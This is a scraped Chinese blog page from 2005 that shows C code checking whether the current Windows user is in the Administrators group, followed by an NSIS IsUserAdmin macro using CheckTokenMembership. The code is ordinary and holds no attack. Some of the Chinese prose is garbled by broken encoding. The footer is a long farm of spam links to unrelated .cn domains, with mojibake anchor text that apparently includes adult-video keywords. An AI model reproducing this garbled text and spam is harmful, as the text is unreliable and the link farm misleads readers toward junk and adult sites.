#000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">, </span><span style="color: #000000;">0</span><span style="color: #000000;">,<br>                 </span><span style="color: #000000;">&</span><span style="color: #000000;">pSID) ) {<br>    printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">AllocateAndInitializeSid Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError() );<br>    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>   }<br><br></span><span style="color: #008000;">//</span><span style="color: #008000;"> Loop through the group SIDs looking for the administrator SID.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br></span><span style="color: #0000ff;">for</span><span style="color: #000000;">(i</span><span style="color: #000000;">=</span><span style="color: #000000;">0</span><span style="color: #000000;">; i</span><span style="color: #000000;"><</span><span style="color: #000000;">pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">GroupCount; i</span><span style="color: #000000;">++</span><span style="color: #000000;">) {<br>    </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> ( EqualSid(pSID, pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Sid) ) {<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Lookup the account name and print it.</span><span style="color: #008000;"><br></span><span style="color: #000000;"><br>        dwSize </span><span style="color: #000000;">=</span><span style="color: #000000;"> MAX_NAME;<br>        </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( </span><span style="color: #000000;">!</span><span style="color: #000000;">LookupAccountSid( NULL, pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Sid,<br>                              lpName, </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize, lpDomain, <br>                              </span><span style="color: #000000;">&</span><span style="color: #000000;">dwSize, </span><span style="color: #000000;">&</span><span style="color: #000000;">SidType ) ) {<br>            dwResult </span><span style="color: #000000;">=</span><span style="color: #000000;"> GetLastError();<br>            </span><span style="color: #0000ff;">if</span><span style="color: #000000;">( dwResult </span><span style="color: #000000;">==</span><span style="color: #000000;"> ERROR_NONE_MAPPED )<br>               strcpy_s (lpName, dwSize, </span><span style="color: #000000;">"</span><span style="color: #000000;">NONE_MAPPED</span><span style="color: #000000;">"</span><span style="color: #000000;"> );<br>            </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> {<br>                printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">LookupAccountSid Error %u\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, GetLastError());<br>                </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> FALSE;<br>            }<br>        }<br>        printf( </span><span style="color: #000000;">"</span><span style="color: #000000;">Current user is a member of the %s\\%s group\n</span><span style="color: #000000;">"</span><span style="color: #000000;">, <br>                lpDomain, lpName );<br><br>        </span><span style="color: #008000;">//</span><span style="color: #008000;"> Find out whether the SID is enabled in the token.</span><span style="color: #008000;"><br></span><span style="color: #000000;">        </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Attributes </span><span style="color: #000000;">&</span><span style="color: #000000;"> SE_GROUP_ENABLED)<br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>         </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pGroupInfo</span><span style="color: #000000;">-></span><span style="color: #000000;">Groups[i].Attributes </span><span style="color: #000000;">&</span><span style="color: #000000;"> <br>                          SE_GROUP_USE_FOR_DENY_ONLY)<br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is a deny-only SID.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>         </span><span style="color: #0000ff;">else</span><span style="color: #000000;"> <br>            printf(</span><span style="color: #000000;">"</span><span style="color: #000000;">The group SID is not enabled.\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br>    }<br>}<br><br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (pSID)<br>    FreeSid(pSID);<br></span><span style="color: #0000ff;">if</span><span style="color: #000000;"> ( pGroupInfo )<br>    GlobalFree( pGroupInfo );<br></span><span style="color: #0000ff;">return</span><span style="color: #000000;"> TRUE;<br>}</span></div> <br>向曾被我误导的同志表C真挚的道歉和沉痛的(zhn)念?br><br>NSIS下判断当前用h否管理员Q?br><a target="_blank" >http://nsis.sourceforge.net/Check_if_the_current_user_is_an_Administrator</a><br> <div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">!macro IsUserAdmin RESULT<br> !define Index </span><span style="color: #800000;">"</span><span style="color: #800000;">Line${__LINE__}</span><span style="color: #800000;">"</span><span style="color: #000000;"><br>   StrCpy ${RESULT} 0<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">*(&i1 0,&i4 0,&i1 5)i.r0</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::AllocateAndInitializeSid(i r0,i 2,i 32,i 544,i 0,i 0,i 0,i 0,i 0, \</span><span style="color: #800000;"><br></span><span style="color: #000000;">   i 0,</span><span style="color: #000000;">*</span><span style="color: #000000;">i .R0)i.r5</span><span style="color: #800000;">'<br></span><span style="color: #000000;">   System::Free $0<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::CheckTokenMembership(i n,i R0,*i .R1)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br>   StrCmp $</span><span style="color: #000000;">5</span><span style="color: #000000;"> 0 ${Index}_Error<br>   StrCpy ${RESULT} $R1<br>   Goto ${Index}_End<br> ${Index}_Error:<br>   StrCpy ${RESULT} </span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;"><br> ${Index}_End:<br>   System::Call </span><span style="color: #800000;">'</span><span style="color: #800000;">advapi32::FreeSid(i R0)i.r5</span><span style="color: #800000;">'</span><span style="color: #000000;"><br> !undef Index<br>!macroend</span></div> <br><a id="AjaxHolder_Comments_CommentList_ctl00_NameLink" target="_blank"></a> <img src ="http://www.shnenglu.com/aqazero/aggbug/14197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-07-25 09:11 <a href="http://www.shnenglu.com/aqazero/archive/2005/07/25/14197.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.sanbaotong.cn" target="_blank">һaƬþëƬëƬ</a>| <a href="http://www.dt175.cn" target="_blank">þþƷ99Ʒ</a>| <a href="http://www.qy80.cn" target="_blank">þþƷһ</a>| <a href="http://www.123yo.cn" target="_blank">ŷ޹Ʒþþþ</a>| <a href="http://www.reeway.cn" target="_blank">뾫Ʒþþɫ </a>| <a href="http://www.ttwa.com.cn" target="_blank">þþƷŷƬ</a>| <a href="http://www.dengbilong6.com.cn" target="_blank">þŷ޹ۺ</a>| <a href="http://www.jkmdz.cn" target="_blank">ŮHҳþþ</a>| <a href="http://www.996acg.cn" target="_blank">ɫۺϾþþƷĻҳ</a>| <a href="http://www.cxshuangai.cn" target="_blank">AVĻþר</a>| <a href="http://www.rct7.cn" target="_blank">þøƬ</a>| <a href="http://www.padshow.cn" target="_blank">þþƷ}Ů</a>| <a href="http://www.gmyz.net.cn" target="_blank">þþþ99ƷƬţţӰ</a>| <a href="http://www.3secshop.cn" target="_blank">þҹɫƷ</a>| <a href="http://www.zurpd.cn" target="_blank">þþƷ99͵</a>| <a href="http://www.tf78.cn" target="_blank">91Ʒ9lþþþ</a>| <a href="http://www.seasa.cn" target="_blank">þþþ</a>| <a href="http://www.sybcypx.cn" target="_blank">ƷŮþøվ</a>| <a href="http://www.tomp3.cn" target="_blank">˾þü91</a>| <a href="http://www.517down.cn" target="_blank">99þþƷѾƷһ</a>| <a href="http://www.3hong.cn" target="_blank">þþþþҹƷƷ</a>| <a href="http://www.rodq.cn" target="_blank">þ޾ƷAV</a>| <a href="http://www.fddyc.cn" target="_blank">þþ뾫Ʒպ˳ </a>| <a href="http://www.kwig.cn" target="_blank">Ʒ99þþþ</a>| <a href="http://www.6105555.cn" target="_blank">ھƷþþþӰԺ޹² </a>| <a href="http://www.wtxpxt.cn" target="_blank">ۺϾþþƷɫ</a>| <a href="http://www.kukuoo.cn" target="_blank">Ʒľþþþþþ</a>| <a href="http://www.jw62.cn" target="_blank">þAV</a>| <a href="http://www.tianlaiedu.cn" target="_blank">˼˼þþƷ</a>| <a href="http://www.mt4.net.cn" target="_blank">Ʒݾþþþø</a>| <a href="http://www.888google.cn" target="_blank">þþþ޾Ʒվ </a>| <a href="http://www.jojo-m.cn" target="_blank">ƷþþþӰԺɫ</a>| <a href="http://www.duopudz.cn" target="_blank">һþþƷ</a>| <a href="http://www.yoliuping.cn" target="_blank">þþþþһ </a>| <a href="http://www.kexuncms.cn" target="_blank">ӰȷŮAV³ɫԴþ</a>| <a href="http://www.bestorgazm.cn" target="_blank">Ʒ99þþþƷ</a>| <a href="http://www.rosettagetty.com.cn" target="_blank">vaþþþ</a>| <a href="http://www.shiyana.cn" target="_blank">97þþƷƷ</a>| <a href="http://www.byrrj.cn" target="_blank">ɫۺϾþۺ</a>| <a href="http://www.bbctp.cn" target="_blank">þҹۺϾþ</a>| <a href="http://www.michellebranch.cn" target="_blank">þþþþ޾ƷӰԺ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>